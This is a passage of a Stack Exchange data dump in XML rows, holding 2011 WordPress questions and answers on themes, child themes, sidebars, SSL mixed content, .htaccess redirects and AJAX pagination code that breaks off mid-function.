  <row Id="14659" PostTypeId="2" ParentId="14655" CreationDate="2011-04-13T14:40:35.773" Score="6" ViewCount="" Body="&lt;p&gt;Theme stylesheets aren't usually enqueued, they're normally loaded using..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_url' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So naturally you don't see them(it) in the styles array..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can of course(if you prefer) use an enqueue instead.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-13T14:40:35.773" CommentCount="2" />
  <row Id="14660" PostTypeId="2" ParentId="14618" CreationDate="2011-04-13T14:59:54.890" Score="0" ViewCount="" Body="&lt;p&gt;Sort it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$pagekids = get_pages(&quot;child_of=$post-&amp;gt;post_parent&amp;amp;sort_order=ASC&quot;);&#xA;$firstchild = $pagekids[0];&#xA;&#xA;$pagekids = get_pages(&quot;child_of=$post-&amp;gt;post_parent&amp;amp;sort_order=DESC&quot;);&#xA;$lastchild = $pagekids[0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many thanks to Bainternet.&lt;/p&gt;&#xA;" OwnerUserId="4636" LastEditorUserId="4636" LastEditorDisplayName="" LastEditDate="2011-04-14T01:28:36.330" LastActivityDate="2011-04-14T01:28:36.330" />
  <row Id="14661" PostTypeId="2" ParentId="14539" CreationDate="2011-04-13T15:04:28.163" Score="0" ViewCount="" Body="&lt;p&gt;If you used the Yahoo! WordPress automatic installer for your client's installation, you can also create custom permalinks for your account by going into your WordPress Dashboard &gt; Appearance &gt; Plugins section and activating the Customizable Permalinks plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note: the Customizable Permalinks plugin assumes that the installation is still located in its initial directory. If you've moved the installation, or if you you didn't use the automatic installer, you might check the WordPress Plugins archive (http://wordpress.org/extend/plugins/) for customizable permalink plugins that don't require .htaccess.&lt;/p&gt;&#xA;" OwnerUserId="4637" LastActivityDate="2011-04-13T15:04:28.163" />
  <row Id="14662" PostTypeId="2" ParentId="14585" CreationDate="2011-04-13T15:06:53.730" Score="0" ViewCount="" Body="&lt;p&gt;You should look into having your sidebars utilize the remove action function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can remove a sidebar and replace it in a function any number of ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance (this examples using a conditional based on a page called &lt;strong&gt;some-page&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_sidebar_yay() {&#xA;    if ( is_single('some-page') ) {&#xA;        remove_action( 'old_sidebar', 'your_function' ); //this is sidebar you want removed&#xA;        add_action('get_sidebar', 'my_get_sidebar', 11);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_action&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/remove_action&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;old_sidebar&lt;/code&gt; and &lt;code&gt;your_function&lt;/code&gt; is the name and the function name of the sidebar you want removed, you will have to look in your theme to find the actual values the theme author used ( usually in &lt;strong&gt;functions.php&lt;/strong&gt; but not always).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if the theme is hardcoded or does not create sidebars using hooks/actions this will not work.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-13T16:43:00.100" LastActivityDate="2011-04-13T16:43:00.100" CommentCount="5" />
  <row Id="14663" PostTypeId="1" AcceptedAnswerId="14665" CreationDate="2011-04-13T15:26:34.427" Score="1" ViewCount="73" Body="&lt;p&gt;I apologize if this is a very basic question, but I am very new to working with Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking into using Wordpress as a CMS for a new site I'm building but I'm not sure I understand some of the best practices for themes. I've heard that a good approach is to use pre-existing themes and modify them to your own purposes using a child theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the direction in which I should look? Is there another approach that I should look in to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="4638" LastActivityDate="2011-04-13T15:43:59.143" Title="Themes—Child Themes" Tags="&lt;themes&gt;&lt;child-theme&gt;" AnswerCount="2" />
  <row Id="14665" PostTypeId="2" ParentId="14663" CreationDate="2011-04-13T15:41:40.503" Score="3" ViewCount="" Body="&lt;p&gt;If you don't want to develop/maintain your own Theme, then yes: choose an existing Theme, and make modifications to it via Child Theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, on the other hand, you are comfortable with developing/maintaining your own Theme, then either create a new Theme, or make a derivative of an existing Theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since, as you state, you are very new to WordPress, I would highly recommend using the Child-Theme approach.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-13T15:41:40.503" CommentCount="1" />
  <row Id="14666" PostTypeId="2" ParentId="14663" CreationDate="2011-04-13T15:43:59.143" Score="1" ViewCount="" Body="&lt;p&gt;When theme is updated via native WP mechanisms it is completely overwritten. Child theme separates your modifications so they are not affected by that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are several basic cases:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Themes that are never getting updated. It doesn't matter if you use child theme if you don't have to deal with updates. But in such case you will need to maintain that theme as well as your own modifications.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Themes that are updated and hosted in official repository. It is best to use child theme for such.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Themes that are updated but are not hosted in official repository. This is case by case. Some themes are supposed to be updated manually and will benefit from child theme. Some have their own mechanisms for modifications that are not affected by update and essentially replace child theme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-13T15:43:59.143" />
  <row Id="14668" PostTypeId="1" CreationDate="2011-04-13T15:48:26.730" Score="0" ViewCount="60" Body="&lt;p&gt;Is there a core function to fetch all network activated themes? Like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_themes&quot; rel=&quot;nofollow&quot;&gt;get_themes()&lt;/a&gt;. There doesn't seem to be an activated flag in the get_themes() result to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some rooting around, activated themes are stored in the wp_site_meta table, I can grab these in an array with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$res = $wpdb-&amp;gt;get_results(&quot;SELECT `meta_value` FROM `wp_sitemeta` WHERE `meta_key` = 'allowedthemes' AND `site_id` = 1&quot;);&#xA;$allowedThemes = unserialize($res[0]-&amp;gt;meta_value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However for some reason the list is lowercase and won't work when the argument is passed to &lt;code&gt;get_theme();&lt;/code&gt; for example it &lt;strong&gt;needs&lt;/strong&gt; to be &lt;code&gt;get_theme('zBench');&lt;/code&gt;, but the data stored in the wp_site_meta db is 'zbench' which doesn't work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-04-14T09:08:42.733" LastActivityDate="2011-04-14T09:08:42.733" Title="Getting all network-activated themes" Tags="&lt;themes&gt;" />
  <row Id="14669" PostTypeId="2" ParentId="14585" CreationDate="2011-04-13T15:50:19.500" Score="0" ViewCount="" Body="&lt;p&gt;not sure, but perhaps can the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;Widget Logic&lt;/a&gt; be a good starting point to develop your function from?&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-13T15:50:19.500" />
  <row Id="14670" PostTypeId="1" AcceptedAnswerId="14674" CreationDate="2011-04-13T16:00:58.770" Score="0" ViewCount="186" Body="&lt;p&gt;I have a couple of pages on my WordPress site that need to run over SSL. I've installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-https/&quot; rel=&quot;nofollow&quot;&gt;WordPress HTTPS&lt;/a&gt; plugin and configured the pages to use SSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm still getting the error message that some of the items are coming over unsecured and that is a concern for some users. I've looked into the generated source code and I can see some items that are still going over non SSL channels, such as the following tags at the top of the page when I view source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;en-US&quot;&amp;gt; &#xA;&amp;lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The browser only gives me the generic error message about mixed content. How do I determine which resources are causing the error?&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2011-04-13T16:31:19.523" Title="How do I find non-SSL problems on my SSL page?" Tags="&lt;ssl&gt;" AnswerCount="2" />
  <row Id="14671" PostTypeId="2" ParentId="14670" CreationDate="2011-04-13T16:09:08.273" Score="0" ViewCount="" Body="&lt;p&gt;The stuff you quoted are merely namespace definitions. They are not active links, are never downloaded by browser and I don't think SSL matters for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard to say what else might it be without seeing complete page's source.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-13T16:09:08.273" CommentCount="1" />
  <row Id="14672" PostTypeId="1" CreationDate="2011-04-13T16:12:01.333" Score="1" ViewCount="292" Body="&lt;p&gt;So I was wondering if it's possible to dynamically create meta boxes in the post admin. I have a lot of data but don't want to hardcode every meta box needed in functions.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be a custom post type for movies, I want to create different meta boxes for all the actors in the movie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add meta boxes dynamically with the ability to add and delete them within the post admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4640" LastActivityDate="2011-05-14T07:43:36.947" Title="Dynamically Creating Meta Boxes" Tags="&lt;add-meta-box&gt;" AnswerCount="5" />
  <row Id="14673" PostTypeId="1" AcceptedAnswerId="14676" CreationDate="2011-04-13T16:26:23.317" Score="0" ViewCount="133" Body="&lt;p&gt;I've just updated a website that used &lt;code&gt;.php&lt;/code&gt; urls, to a Wordpress 3.1 site, that uses no file type extentions, (custom permalinks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a lot of references in their imported content to an old page ending in &lt;code&gt;.php&lt;/code&gt; which now goes to an error 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is this: What is the rewrite rule I should use in my htaccess file that would redirect someone clicking on a link to &lt;code&gt;www.somesite.com/glossary.php#anchor&lt;/code&gt;, to &lt;code&gt;www.somesite.com/glossary/#anchor&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully appreciated, S.&lt;/p&gt;&#xA;" OwnerUserId="3362" LastActivityDate="2011-04-13T17:52:57.917" Title="Url rewrite with htaccess" Tags="&lt;url-rewriting&gt;" AnswerCount="2" />
  <row Id="14674" PostTypeId="2" ParentId="14670" CreationDate="2011-04-13T16:31:19.523" Score="2" ViewCount="" Body="&lt;p&gt;Do exactly what you're doing: view the source of the offending page, and do a text search for &quot;http://&quot;. Anything with this protocol is &quot;insecure&quot;, and needs to be swapped to https. Common offenders are stylesheets, javascript, and 3rd-party widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find any problems in the source, try using &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;firebug's&lt;/a&gt; &quot;net panel&quot;. It lists all the requests a page makes, and you can scan through them to look for anything that starts with &quot;http://&quot; (even asynchronous requests).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still stuck, post the URL of your problem page and I'll take a look.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-04-13T16:31:19.523" CommentCount="1" />
  <row Id="14675" PostTypeId="1" CreationDate="2011-04-13T16:43:00.800" Score="1" ViewCount="126" Body="&lt;p&gt;Any search keyword suggestions to help would be appreciated - not sure how best to describe this query :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type &quot;module&quot;. I have ~300+ modules in my install.&#xA;I have ~100+ registered users (Subscriber role)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query: I want to allow users to mark a &quot;module&quot; as &quot;Complete&quot; using a checkbox, and be able to get that info from DB when I'm generating lists of modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or hack available or any suggestions if I need to code it up myself? Any other suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4642" LastActivityDate="2011-05-16T12:58:43.077" Title="Allow users mark posts as &quot;complete&quot;?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;status&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="14676" PostTypeId="2" ParentId="14673" CreationDate="2011-04-13T17:18:05.240" Score="1" ViewCount="" Body="&lt;p&gt;Your first order of business should be updating the links in your imported content so that people aren't given links to the old URLs in the first place. This should be pretty easy to do with an SQL replace. For your situation, it'd be something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts SET post_content = REPLACE(post_content, '.php', '/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You gotta be realy careful with find/replaces though, as they sometimes replace things you didn't anticipate. It's a good idea to back up your DB before doing anything like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for an htaccess fix: it's definitely a good idea to do 301s for the old URLs if you have a lot of inbound links, which translate to SEO value. But the amount of work you put into this should be proportional to the value of those inbound links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it's not a good idea to try to rewrite ALL .php requests, as Wordpress often needs to make legitimate ones. For example, all requests on the frontend are routed through index.php, and when I tried setting up a rule like the one you asked for, it broke WordPress altogether. Know what I'm saying?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is to set up individual rules for each page you want to 301. Of course, this might be a bad idea if you have a LOT of links--both because it's a hassle, and could impact performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully someone else has a tricky htaccess workaround for you, but I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-04-13T17:18:05.240" CommentCount="1" />
  <row Id="14677" PostTypeId="1" CreationDate="2011-04-13T17:19:19.077" Score="1" ViewCount="73" Body="&lt;p&gt;I need a method to automatically create pages (using &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt;) in posts based on number of words. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example... A post containing 1200 words should be broken down into 6 pages with page break coming after every 200 words. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that I can do it manually. But this functionality is needed for a site powered by WordPress that would contain archives of imported data in multiple languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried searching for a plugin that would accomplish something like this. Could not find it. &lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2011-04-13T18:45:42.797" Title="Automatically create pages in a post based on number of words" Tags="&lt;posts&gt;&lt;pagination&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="14679" PostTypeId="1" CreationDate="2011-04-13T17:24:37.343" Score="0" ViewCount="150" Body="&lt;p&gt;Most of us are used to installing plugins directly from the WordPress.org plugin repository.  This is the &quot;official&quot; list of available add-ins, and everything hosted there is guaranteed to be GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But occasionally developers will list beta releases and non-GPL plugins on their own sites.  To install these, you have to download a ZIP file, then either upload it to WordPress through the plugin installer or via FTP.  For the unaware, it can be a complicated process because there's no one-click setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would be the potential benefits and drawbacks of enabling one-click plugin installation from any site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking something along this process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You go to a site hosting a cool plugin.&lt;/li&gt;&#xA;&lt;li&gt;You enter your blog's address (&lt;code&gt;http://mycoolwordpressblog.com&lt;/code&gt;) in a box somewhere.&lt;/li&gt;&#xA;&lt;li&gt;An oAuth-type box pops up asking you to log in to your blog.&lt;/li&gt;&#xA;&lt;li&gt;Once you're authenticated, the plugin is added to your site automatically and you're given the option to activate it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suggest oAuth so that you only log in to &lt;em&gt;your&lt;/em&gt; site (I don't want to give my admin credentials to someone I don't know), but there might be other ways to do it.  Remotely uploading the plugin could likely happen using WordPress' built-in XML-RPC system since it already allows you to upload files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?  Comments?  Feedback?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-09-02T16:18:03.527" CommunityOwnedDate="2011-04-13T17:24:44.940" Title="What would be the advantages/disadvantages of remote plugin installation?" Tags="&lt;plugins&gt;&lt;admin&gt;&lt;remote&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14680" PostTypeId="2" ParentId="14679" CreationDate="2011-04-13T17:30:00.970" Score="0" ViewCount="" Body="&lt;p&gt;Also look into this tool - &lt;a href=&quot;http://markjaquith.wordpress.com/2010/07/24/plugin-installer-tool/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2010/07/24/plugin-installer-tool/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-13T17:30:00.970" CommunityOwnedDate="2011-04-13T17:30:00.970" CommentCount="2" />
  <row Id="14681" PostTypeId="2" ParentId="14612" CreationDate="2011-04-13T17:51:30.847" Score="1" ViewCount="" Body="&lt;p&gt;&lt;sub&gt;&lt;strong&gt;t31os says:&lt;/strong&gt;&lt;/sub&gt; &lt;sub&gt;[See edit history for previous code and comments]&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using Ajax to paginate your queries&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I've put together some code that will fetch your posts and comments via ajax using simple prev/next navigation via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Replace all the code you posted in your &lt;strong&gt;author.php&lt;/strong&gt; with the following..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cat_settings = array( 'Articles' =&amp;gt; 7, 'Journals' =&amp;gt; 6, 'Questions' =&amp;gt; 3 ); ?&amp;gt;&#xA;&amp;lt;?php do_action( 'author_ajax_catposts', $cat_settings ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Create a Javascript file in your theme's directory called &lt;code&gt;authorposts.js&lt;/code&gt; and place the following code into that file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;&#xA;    if( 'undefined' == typeof( aacVars ) )&#xA;        return;&#xA;&#xA;    $('.aacnav').click(function() {&#xA;&#xA;        var r = $( $(this).attr('href') );&#xA;        var a = $( $(this).attr('href') + '-ap' );&#xA;        var c = this.className.split(' ');&#xA;&#xA;        if( &#xA;            'undefined' == typeof( c ) || &#xA;            'undefined' == typeof( r ) || &#xA;            'undefined' == typeof( a ) &#xA;        )&#xA;            return false;&#xA;&#xA;        var d = { &#xA;            action:      aacVars.posts_action, &#xA;            _ajax_nonce: aacVars.nonce,&#xA;            author:      aacVars.author,&#xA;            category:    $(this).attr('href')&#xA;        };&#xA;&#xA;        p = parseInt( a.text() );&#xA;        c = c.pop();&#xA;&#xA;        switch( c ) {&#xA;            case 'aacnext':&#xA;                if( r.children('p.nomore').length )&#xA;                    return false;&#xA;                d.page = p + 1;&#xA;            break;&#xA;            case 'aacprev':&#xA;                if( p &amp;lt; 2 )&#xA;                    return false;&#xA;                d.page = p - 1;&#xA;            break;&#xA;            default:&#xA;                return false;&#xA;        }&#xA;&#xA;        $.post( aacVars.ajaxpth, d, function( res ) {&#xA;            if( '-1' == res ) {&#xA;                alert( 'auth failed' );&#xA;                return false;&#xA;            }&#xA;            $( r ).html( res );&#xA;            $( a ).text( d.page );&#xA;        });&#xA;&#xA;        return false;&#xA;    });&#xA;&#xA;    $('.aacnavc').click(function() {&#xA;&#xA;        var r = $( '#aac-comments' );&#xA;        var n = $( '#aac-comments-ap' );&#xA;        var l = $(this).attr('href');&#xA;&#xA;        if( &#xA;            'undefined' == typeof( n ) || &#xA;            'undefined' == typeof( r ) &#xA;        )&#xA;            return false;&#xA;&#xA;        var d = { &#xA;            action:      aacVars.comments_action, &#xA;            _ajax_nonce: aacVars.nonce,&#xA;            author:      aacVars.author&#xA;        };&#xA;&#xA;        p = parseInt( n.text() );&#xA;&#xA;        switch( l ) {&#xA;            case '#next':&#xA;                if( r.children('p.nomore').length )&#xA;                    return false;&#xA;                d.page = p + 1;&#xA;            break;&#xA;            case '#prev':&#xA;                if( p &amp;lt; 2 )&#xA;                    return false;&#xA;                d.page = p - 1;&#xA;            break;&#xA;            default:&#xA;                return false;&#xA;        }&#xA;&#xA;        $.post( aacVars.ajaxpth, d, function( res ) {&#xA;            if( '-1' == res ) {&#xA;                alert( 'auth failed' );&#xA;                return false;&#xA;            }&#xA;            r.html( res );&#xA;            $( n ).text( d.page );&#xA;        });&#xA;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; Copy the following code into your theme's &lt;strong&gt;functions.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Author_Ajax_Cats {&#xA;&#xA;    private $posts_per_page    = 3;&#xA;    private $comments_per_page = 1;&#xA;    private $posts_action      = 'aac-posts';&#xA;    private $comments_action   = 'aac-comments';&#xA;    private $js                = array();&#xA;&#xA;    public function __construct() {&#xA;&#xA;        add_action( 'parse_request',                            array( $this, 'aac_parse_request' ) );&#xA;        add_action( 'wp_ajax_nopriv_' . $this-&amp;gt;posts_action,    array( $this, 'aac_ajax_posts' ) );&#xA;        add_action( 'wp_ajax_' .        $this-&amp;gt;posts_action,    array( $this, 'aac_ajax_posts' ) );&#xA;        add_action( 'wp_ajax_nopriv_' . $this-&amp;gt;comments_action, array( $this, 'aac_ajax_comments' ) );&#xA;        add_action( 'wp_ajax_' .        $this-&amp;gt;comments_action, array( $this, 'aac_ajax_comments' ) );&#xA;        add_action( 'wp_enqueue_scripts',                       array( $this, 'aac_enqueue_scripts' ) );&#xA;        add_action( 'author_ajax_catposts',                     array( $this, 'aac_print_posts' ) );&#xA;    }&#xA;    public function aac_parse_request( $wp ) {&#xA;&#xA;        if( !isset( $wp-&amp;gt;query_vars['author_name'] ) || is_admin() )&#xA;            return;&#xA;&#xA;        $wp-&amp;gt;query_vars['paged'] = 1;&#xA;&#xA;    }&#xA;    private function setup_js_vars() {&#xA;&#xA;        global $wp_query;&#xA;&#xA;        $this-&amp;gt;js['author']          = $wp_query-&amp;gt;get_queried_object_id();&#xA;        $this-&amp;gt;js['posts_action']    = $this-&amp;gt;posts_action;&#xA;        $this-&amp;gt;js['comments_action'] = $this-&amp;gt;comments_action;&#xA;        $this-&amp;gt;js['nonce']           = wp_create_nonce( 'noncekey' );&#xA;        $this-&amp;gt;js['ajaxpth']         = admin_url( 'admin-ajax.php' );&#xA;    }&#xA;    public function aac_enqueue_scripts() {&#xA;&#xA;        if( !is_author() )&#xA;            return;&#xA;&#xA;        $this-&amp;gt;setup_js_vars();&#xA;&#xA;        wp_register_script( 'author-ajax', get_bloginfo('stylesheet_directory') . '/authorposts.js', array( 'jquery' ), time(), true );&#xA;        wp_localize_script( 'author-ajax', 'aacVars', $this-&amp;gt;js );&#xA;        wp_enqueue_script( 'author-ajax' );&#xA;    }&#xA;    public function aac_ajax_comments() {&#xA;&#xA;        if( !isset( $_POST['page'] ) || !isset( $_POST['author'] ) )&#xA;            die;&#xA;&#xA;        check_ajax_referer( 'noncekey' );&#xA;&#xA;        $authID = absint( $_POST['author'] );&#xA;        $paged  = absint( $_POST['page'] );&#xA;&#xA;        $args = array(&#xA;            'user_id' =&amp;gt; $authID,&#xA;            'number'  =&amp;gt; $this-&amp;gt;comments_per_page,&#xA;            'offset'  =&amp;gt; ( ( $paged - 1 ) * $this-&amp;gt;comments_per_page ),&#xA;            'status'  =&amp;gt; 'approve',&#xA;            'type'    =&amp;gt; 'comment'&#xA;        );&#xA;&#xA;        $answers_list = get_comments( $args );&#xA;        if( empty( $answers_list ) ) {&#xA;            printf( '&amp;lt;p class=&quot;nomore&quot;&amp;gt;%s&amp;lt;/p&amp;gt;', __( 'No more answers by this user.' ) );&#xA;            die;&#xA;        }&#xA;        $_comment_walk = new Walker_Comment;&#xA;&#xA;        echo '&amp;lt;ul&amp;gt;';&#xA;        $_comment_walk-&amp;gt;paged_walk( $answers_list, 0, 1, $this-&amp;gt;comments_per_page, array( &#xA;            'style' =&amp;gt; 'ul', &#xA;            'avatar_size' =&amp;gt; 15, &#xA;            'max_depth' =&amp;gt; 1, &#xA;            'callback' =&amp;gt; array( $this, 'author_comment_walker' ) &#xA;        ) );&#xA;        echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;        die;&#xA;    }&#xA;    public function aac_ajax_posts() {&#xA;&#xA;        if( !isset( $_POST['page'] ) || !isset( $_POST['category'] ) || !isset( $_POST['author'] ) )&#xA;            die;&#xA;&#xA;        check_ajax_referer( 'noncekey' );&#xA;&#xA;        $catID  = absint( str_replace( '#aac-', '', $_POST['category'] ) );&#xA;        $authID = absint( $_POST['author'] );&#xA;        $paged  = absint( $_POST['page'] );&#xA;&#xA;        $args = array(&#xA;            'paged'       =&amp;gt; $paged,&#xA;            'numberposts' =&amp;gt; $this-&amp;gt;posts_per_page,&#xA;            'author'      =&amp;gt; $authID,&#xA;            'cat'         =&amp;gt; $catID&#xA;        );&#xA;        $posts = get_posts( $args );&#xA;&#xA;        if( empty( $posts ) )&#xA;            die( sprintf( '&amp;lt;p class=&quot;nomore&quot;&amp;gt;%s&amp;lt;/p&amp;gt;', __( 'No more posts.' ) ) );&#xA;&#xA;        $this-&amp;gt;do_posts( $posts );&#xA;&#xA;        die;&#xA;    }&#xA;    public function aac_print_posts( $cats = array() ) {&#xA;&#xA;        //get_the_term_list( $post-&amp;gt;ID, 'category', '&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;' )&#xA;&#xA;        foreach( $cats as $heading =&amp;gt; $id ) {&#xA;            $args = array( &#xA;                'cat'         =&amp;gt; $id,&#xA;                'paged'       =&amp;gt; 1, // Always the first page on load&#xA;                'numberposts' =&amp;gt; $this-&amp;gt;posts_per_page, &#xA;                'author'      =&amp;gt; $this-&amp;gt;js['author']&#xA;            );&#xA;            $posts = get_posts( $args );&#xA;&#xA;            printf( '&amp;lt;h2&amp;gt;%s&amp;lt;/h2&amp;gt;', $heading );&#xA;&#xA;            if( empty( $posts ) ) {&#xA;                printf( '&amp;lt;div&amp;gt;&amp;lt;p class=&quot;nomore&quot;&amp;gt;%s&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;', __( 'No posts.' ) );&#xA;                continue;&#xA;            }&#xA;&#xA;            printf( '&amp;lt;div id=&quot;aac-%d&quot; class=&quot;aac-result&quot;&amp;gt;', $id );&#xA;&#xA;            $this-&amp;gt;do_posts( $posts );&#xA;&#xA;            printf( '&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;' );&#xA;            printf( '&amp;lt;p class=&quot;alignright&quot;&amp;gt;Page: &amp;lt;span id=&quot;aac-%1$d-ap&quot;&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=&quot;alignleft&quot;&amp;gt;&amp;lt;a class=&quot;aacnav aacprev&quot; href=&quot;#aac-%1$d&quot;&amp;gt;%2$s&amp;lt;/a&amp;gt; &amp;lt;a class=&quot;aacnav aacnext&quot; href=&quot;#aac-%1$d&quot;&amp;gt;%3$s&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;', $id, __('Previous'), __('Next') );&#xA;            printf( '&amp;lt;br class=&quot;clear&quot; /&amp;gt;&amp;lt;/div&amp;gt;' );&#xA;        }&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;h2&amp;gt;Answers&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        $args = array(&#xA;            'user_id' =&amp;gt; $this-&amp;gt;js['author'],&#xA;            'number'  =&amp;gt; $this-&amp;gt;comments_per_page,&#xA;            'status'  =&amp;gt; 'approve',&#xA;            'type'    =&amp;gt; 'comment'&#xA;        );&#xA;        $answers_list = get_comments( 